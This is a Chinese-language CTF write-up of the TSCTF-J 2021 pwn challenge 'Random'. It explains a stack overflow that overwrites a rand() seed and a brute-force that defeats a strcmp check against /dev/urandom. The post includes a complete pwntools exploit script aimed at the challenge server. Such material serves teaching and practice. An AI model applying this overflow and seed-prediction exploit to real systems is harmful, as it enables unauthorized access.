Skip to main content

「TSCTF-J_2021」Pwn - Random WriteUp

· 5 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

分析

使用 IDA 打开, 发现题目要求我们输入正确10次C产生的随机数, 接着需要再输入正确的/dev/urandom产生的随机字节数据流

初期资料

rand()

rand()函数每次调用前都会查询是否调用过srand(seed),是否给seed设定了一个值,如果有那么它会自动调用srand(seed)一次来初始化它的起始值 若之前没有调用srand(seed),那么系统会自动给seed赋初始值,即srand(1)自动调用它一次

/dev/urandom

/dev/urandom是Linux系统中提供的随机伪设备,任务是提供永不为空的随机字节数据流。

既然rand()是根据随机数种子seed生成随机数,那么只要seed相同,不就可以生成一样的随机数了么?

分析代码

第一个随机

我们可以发现buf的长度是22, 却可以读入0x30bytes的数据

read函数

观察栈堆,可以发现bufseed只相距0x18个字节, 则我们可以考虑栈溢出覆盖随机数种子

栈堆

第二个随机

这里就略有难度了。搜索的时候我发现了一个通过填充\x00使strlen=0直接跳过strncmp的方法,但这个显然不适合我们的strcmp

第二个随机

strcmp工作原理是这样的:

strcmp: 两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。

也就是说, 如果s是以\x00开头的话, 我们的strcmp就会返回0, 而不用管后面的数据和buff是什么。

这也就是真正的random - 让/dev/urandom生成以\x00开头的字节数据流。

编写脚本

from pwn import *
from ctypes import *
context.log_level = 'debug'
def burp():
sh = remote("173.82.120.231", 10000)
# sh = process("./randomn") # 在本地测试的时候不知道为什么会报EOFError, 只好连接服务器跑脚本 (问了一哈可能是Ubuntu20.04LTS的程序保护问题)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') # 引用库文件
payload = '\x00' * 0x20 # 既然我们的数据都只与buf和seed有关,不如直接全用\x00填充掉
sh.sendlineafter("ranqom...",payload)
libc.srand(1) # 用0和用1作为seed结果是一样的
for i in range(10):
a = libc.rand()%100
sh.sendlineafter("is the number?\n", str(a))

# Random_2
payload = '\x00' # 随便填充一个啦
sh.sendafter("THIS!??!!", payload)
print(sh.recvline()) # 会有一个空行所以print了一下,其实也没有必要()
respon = str(sh.recvline())
print(respon)
if 'LUuUncky' in respon:
sh.interactive()
else:
burp()
burp()

这里有一个小细节, 我们把seed\x00填充后,rand()函数会自动调用srand(1)一次, 而其实srand(1)srand(0)的结果是相同的

关于这里我在stackoverflow上找到了一篇文章

How glibc does it:

around line 181 of glibc/stdlib/random_r.c, inside function __srandom_r

  /* We must make sure the seed is not 0.  Take arbitrarily 1 in this case.  */
if (seed == 0)
seed = 1;

But that's just how glibc does it. It depends on the implementation of the C standard library.

于是接下来就是漫长的爆破环节了,只能说运气是真的不好,爆破了一个多小时,让我一度以为脚本写的有问题()

后半段

经过漫长的等待终于拿到了FLAGo00O0o00D_LuCk_With_y0ur_Ctf_career!!!},但只有后半段?怎么会事呢?

仔细研究IDA才发现,前半段其实在第一次random随机的时候就给出了(但是我由于觉得log等级debug的东西太多了在跑的时候给他注释掉了)

前半段_IDA

于是再跑一次前半段,得到前半段flagTSCTF-J{G0

前半段

拼接一下就有完整的FLAG了:

TSCTF-J{G0o00O0o00D_LuCk_With_y0ur_Ctf_career!!!}

Loading Comments...